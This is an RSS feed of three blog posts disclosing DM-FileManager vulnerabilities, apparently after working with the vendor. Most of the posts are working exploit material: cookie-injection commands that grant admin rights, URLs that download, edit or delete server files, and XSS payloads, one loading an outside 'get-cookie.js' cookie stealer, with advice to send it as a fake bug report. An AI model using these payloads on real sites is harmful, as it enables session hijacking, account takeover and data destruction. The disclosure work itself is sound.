<?xml version="1.0" encoding="UTF-8"?> <rss
version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
><channel><title>nDarkness &#187; DM-FileManager</title> <atom:link href="http://www.ndarkness.com/tag/dm-filemanager/feed/" rel="self" type="application/rss+xml" /><link>http://www.ndarkness.com</link> <description>Step Into The Light</description> <lastBuildDate>Mon, 20 Feb 2012 01:44:37 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=</generator> <item><title>DM-Filemanager 3.9.6-9 Multiple Vulnerabilities</title><link>http://www.ndarkness.com/2010/08/360/dm-filemanager-3-9-6-9-multiple-vulnerabilities/</link> <comments>http://www.ndarkness.com/2010/08/360/dm-filemanager-3-9-6-9-multiple-vulnerabilities/#comments</comments> <pubDate>Sat, 28 Aug 2010 16:10:33 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computer Security]]></category> <category><![CDATA[Privacy]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Utilities]]></category> <category><![CDATA[Cookie Injection]]></category> <category><![CDATA[DM-FileManager]]></category> <category><![CDATA[Vulnerability]]></category> <category><![CDATA[XSS]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=360</guid> <description><![CDATA[The nDarkness community has recently been working with the wonderful developers over at DutchMonkey.com to review and point out security flaws in some of their freely available software. During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes. It is our hope that [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F08%2F360%2Fdm-filemanager-3-9-6-9-multiple-vulnerabilities%2F' data-shr_title='DM-Filemanager+3.9.6-9+Multiple+Vulnerabilities'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F08%2F360%2Fdm-filemanager-3-9-6-9-multiple-vulnerabilities%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F08%2F360%2Fdm-filemanager-3-9-6-9-multiple-vulnerabilities%2F' data-shr_title='DM-Filemanager+3.9.6-9+Multiple+Vulnerabilities'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F08%2F360%2Fdm-filemanager-3-9-6-9-multiple-vulnerabilities%2F' data-shr_title='DM-Filemanager+3.9.6-9+Multiple+Vulnerabilities'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p>The nDarkness community has recently been working with the wonderful developers over at <a
href="http://dutchmonkey.com" target="_blank">DutchMonkey.com</a> to review and point out security flaws in some of their freely available software.</p><p>During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes.  It is our hope that this information will be used to help others write more secure code and realize the dangers involved with these mistakes.</p><p>The next major issues we found with <a
href="http://www.dutchmonkey.com/?file=/products-dm-filemanager.html" target="_blank">DM-Filemanager</a> version 3.9.6 &#8211; 3.9.7-9* dealt with several vulnerabilities.  Below is the method used to exploit this vulnerability and a list of possible exploits.  Please be aware that this has since been fixed and is no longer vulnerable.</p><p>I discovered that direct calls to ajax.php, code.php and rich.php are not properly validated.  Possible exploits for this vulnerability are file disclosure, loss of data and sensitive information, XSS (via source code editing), session hijacking (via XSS), web site defacement and database manipulation/exposure.</p><p>*You must use:</p><pre class="brush: jscript; title: ; notranslate">javascript:void(document.cookie=&amp;quot;USER=someadminuser&amp;quot;); void(document.cookie=&amp;quot;USERID=50&amp;quot;);void(document.cookie=&amp;quot;GROUP=ADMINISTRATORS&amp;quot;); void(document.cookie=&amp;quot;GROUPID=1&amp;quot;);</pre><p>Create a new file (see edit below for an easier method):</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/ajax.php?newfile=yes&#038;filename=index.php</p></ul><p>Download files:</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/?download=yes&#038;file=settings.php&#038;currdir=/dm-filemanager/</p></ul><p>Rename:</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/ajax.php?file=index.shtml&#038;currdir=/&#038;destination=/&#038;rn=yes&#038;newname=index.html</p></ul><p>Copy:</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/ajax.php?file=config.php&#038;currdir=/&#038;destination=/&#038;cp=yes</p></ul><p>Edit: (This one has potential <img
src='http://www.ndarkness.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> )</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/code.php?editfile=yes&#038;file=exploit.php&#038;currdir=/</p></ul><p>Delete File:</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/ajax.php?delete=yes&#038;file=index.php&#038;currdir=/wp/&#038;destination=/wp/</p></ul><p>Delete Folders:</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/ajax.php?currdir=/wp/&#038;rmdir=yes&#038;folder=/wp/wp-admin&#038;dir=wp-admin</p></ul><p>All <a
href="http://www.dutchmonkey.com/?file=/products-dm-filemanager.html" target="_blank">DM-Filemanager</a> users are strongly encouraged to upgrade their software to the latest version.</p><div
class="shr-publisher-360"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2010/08/360/dm-filemanager-3-9-6-9-multiple-vulnerabilities/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>DM-FileManager 3.9.9 XSS Vulnerability</title><link>http://www.ndarkness.com/2010/01/395/dm-filemanager-3-9-9-xss-vulnerability/</link> <comments>http://www.ndarkness.com/2010/01/395/dm-filemanager-3-9-9-xss-vulnerability/#comments</comments> <pubDate>Sun, 31 Jan 2010 03:03:16 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computer Security]]></category> <category><![CDATA[DM-FileManager]]></category> <category><![CDATA[Exploit]]></category> <category><![CDATA[Hacking]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Vulnerability]]></category> <category><![CDATA[XSS]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=395</guid> <description><![CDATA[The nDarkness community has recently been working with the wonderful developers over at DutchMonkey.com to review and point out security flaws in some of their freely available software. During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes. It is our hope that [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F01%2F395%2Fdm-filemanager-3-9-9-xss-vulnerability%2F' data-shr_title='DM-FileManager+3.9.9+XSS+Vulnerability'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F01%2F395%2Fdm-filemanager-3-9-9-xss-vulnerability%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F01%2F395%2Fdm-filemanager-3-9-9-xss-vulnerability%2F' data-shr_title='DM-FileManager+3.9.9+XSS+Vulnerability'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F01%2F395%2Fdm-filemanager-3-9-9-xss-vulnerability%2F' data-shr_title='DM-FileManager+3.9.9+XSS+Vulnerability'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p>The nDarkness community has recently been working with the wonderful developers over at <a
href="http://dutchmonkey.com" target="_blank">DutchMonkey.com</a> to review and point out security flaws in some of their freely available software.</p><p>During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes.  It is our hope that this information will be used to help others write more secure code and realize the dangers involved with these mistakes.</p><p>DM-FileManager 3.9.9 and below is vulnerable to XSS via the message variable not being properly sanitized.</p><p>This example shows nDarkness.com in an iframe within the login page:</p><pre class="brush: xml; auto-links: false; title: ; notranslate">
http://localhost/~safety/dm-filemanager/login.php?referrer=/&amp;message=&lt;p align=center&gt;&lt;iframe src=http://ndarkness.com width=100% height=800&gt;&lt;/iframe&gt;&lt;/p&gt;
</pre><p>Here is a url encoded version:</p><pre class="brush: xml; auto-links: false; title: ; notranslate">

http://localhost/~safety/dm-filemanager/login.php?referrer=/&#038;message=%3C%70%20%61%6C%69%67%6E%3D%63%65%6E%74%65%72%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%6E%64%61%72%6B%6E%65%73%73%2E%63%6F%6D%20%77%69%64%74%68%3D%31%30%30%25%20%68%65%69%67%68%74%3D%38%30%30%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%70%3E
</pre><p>and one step farther is the cookie stealer script:</p><pre class="brush: xml; auto-links: false; title: ; notranslate">
http://localhost/~safety/dm-filemanager/login.php?referrer=/&amp;message=&lt;SCRIPT SRC=http://www.ndarkness.com/get-cookie.js&gt;&lt;/SCRIPT&gt;
</pre><p>Here is a url encoded version:</p><pre class="brush: xml; auto-links: false; title: ; notranslate">

http://localhost/~safety/dm-filemanager/login.php?message=%3C%53%43%52%49%50%54%20%53%52%43%3D%68%74%74%70%3A%2F%2F%62%6C%6F%67%2E%6E%64%61%72%6B%6E%65%73%73%2E%63%6F%6D%2F%67%65%74%2D%63%6F%6F%6B%69%65%2E%6A%73%3E%3C%2F%53%43%52%49%50%54%3E
</pre><p>A common exploit for this would be to make up a bug report and alert the site owner of the situation in the hopes that they were logged in when they clicked the link above.  The next step would be to use session hijacking to steal the user&#8217;s session.</p><p>Another option is to call the delete folder ajax.php command and let the user delete directories off of their site.</p><pre class="brush: xml; auto-links: false; title: ; notranslate">

http://localhost/~safety/dm-filemanager/login.php?referrer=/&#038;message=http://localhost/~safety/dm-filemanager/ajax.php?currdir=/safety/Sites/wp/&#038;rmdir=yes&#038;folder=/safety/Sites/wp/wp-admin&#038;dir=wp-admin
</pre><p><a
href="http://www.dutchmonkey.com/?file=/products-dm-filemanager.html" target="_blank">DM-Filemanager</a> users should not follow untrusted links and should upgrade to the latest version.</p><div
class="shr-publisher-395"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2010/01/395/dm-filemanager-3-9-9-xss-vulnerability/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>DM-FileManager 3.9.6 Cookie Injection and Authorization Bypass Vulnerability</title><link>http://www.ndarkness.com/2009/12/318/dm-filemanager-3-9-6-cookie-injection-and-authorization-bypass-vulnerability/</link> <comments>http://www.ndarkness.com/2009/12/318/dm-filemanager-3-9-6-cookie-injection-and-authorization-bypass-vulnerability/#comments</comments> <pubDate>Wed, 09 Dec 2009 23:36:07 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computer Security]]></category> <category><![CDATA[Privacy]]></category> <category><![CDATA[Cookie Injection]]></category> <category><![CDATA[DM-FileManager]]></category> <category><![CDATA[Exploit]]></category> <category><![CDATA[Hacking]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Vulnerability]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=318</guid> <description><![CDATA[The nDarkness community has recently been working with the wonderful developers over at DutchMonkey.com to review and point out security flaws in some of their freely available software. During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes. It is our hope that [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F12%2F318%2Fdm-filemanager-3-9-6-cookie-injection-and-authorization-bypass-vulnerability%2F' data-shr_title='DM-FileManager+3.9.6+Cookie+Injection+and+Authorization+Bypass+Vulnerability'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F12%2F318%2Fdm-filemanager-3-9-6-cookie-injection-and-authorization-bypass-vulnerability%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F12%2F318%2Fdm-filemanager-3-9-6-cookie-injection-and-authorization-bypass-vulnerability%2F' data-shr_title='DM-FileManager+3.9.6+Cookie+Injection+and+Authorization+Bypass+Vulnerability'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F12%2F318%2Fdm-filemanager-3-9-6-cookie-injection-and-authorization-bypass-vulnerability%2F' data-shr_title='DM-FileManager+3.9.6+Cookie+Injection+and+Authorization+Bypass+Vulnerability'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p>The nDarkness community has recently been working with the wonderful developers over at <a
href="http://dutchmonkey.com" target="_blank">DutchMonkey.com</a> to review and point out security flaws in some of their freely available software.</p><p>During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes.  It is our hope that this information will be used to help others write more secure code and realize the dangers involved with these mistakes.</p><p>The first major <a
href="http://www.ndarkness.com/225/wordpress-dm-albums-version-2-0-critical-vulnerability/" target="_blank">issue</a> we found was with <a
href="http://www.dutchmonkey.com/?file=/products-dm-albums.html" target="_blank">DM-Albums</a> version 2.0.  After reviewing this software and helping to add greater support for WPMU installations, we moved on to <a
href="http://www.dutchmonkey.com/?file=/products-dm-filemanager.html" target="_blank">DM-FileManager</a> version 3.9.6.  The fist major issue we found with this software prompted us to take a deeper look at the authorization model used by this file manager software.  Below is the vulnerable code and the method used to exploit it.  Please be aware that this has since been fixed and is no longer vulnerable.</p><p>I discovered that cookie variables were being used to determine a users ability to access certain features of the software.  The cookies I found that mattered were:</p><pre class="brush: jscript; highlight: [1]; title: ; notranslate">
GROUP=ADMINISTRATORS; GROUPID=1;
</pre><p>The group id cookie gives you the admin.php button (footer.php, line 49) &#8211; <em>Not necessary but it was a start</em>.</p><pre class="brush: php; first-line: 49; gutter: true; highlight: [49]; title: ; notranslate">
if($GROUPID == 1)
{
	print(&quot; &lt;a href=\&quot;admin.php\&quot; class=\&quot;admin\&quot;&gt;&lt;img src=\&quot;ui/$USERINTERFACE/png/admin.png\&quot; border=\&quot;0\&quot; height=\&quot;15\&quot;/&gt;&lt;/a&gt; &quot;);
}
</pre><p>Being in the administrator group (admin.php, line 116) lets you use the admin.php page.</p><pre class="brush: php; first-line: 116; gutter: true; highlight: [116]; title: ; notranslate">
if($GROUP != &quot;ADMINISTRATORS&quot;) redirect(&quot;/?currdir=$currdir&quot;);
</pre><p>To exploit this we used javascript injection.  From the log in page I entered the following in the address bar and reloaded the page:</p><pre class="brush: jscript; highlight: [1]; title: ; notranslate">
javascript:void(document.cookie=&quot;GROUP=ADMINISTRATORS&quot;);void(document.cookie=&quot;GROUPID=1&quot;);
</pre><p>When the page reloaded, the admin button was in the footer of the page and it allowed me to use the admin.php page.  Once in the admin interface you have full control of the file manager software and can for example, change the admins email address to yours and use the forgot password feature to receive the admins unencrypted password (more on this issue in future posts).</p><p>All <a
href="http://www.dutchmonkey.com/?file=/products-dm-filemanager.html" target="_blank">DM-FileManager</a> users are strongly encouraged to upgrade their software to the latest version.</p><div
class="shr-publisher-318"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2009/12/318/dm-filemanager-3-9-6-cookie-injection-and-authorization-bypass-vulnerability/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced
Database Caching 11/21 queries in 0.007 seconds using disk: basic
Object Caching 701/744 objects using disk: basic

Served from: www.ndarkness.com @ 2012-05-21 07:24:12 -->
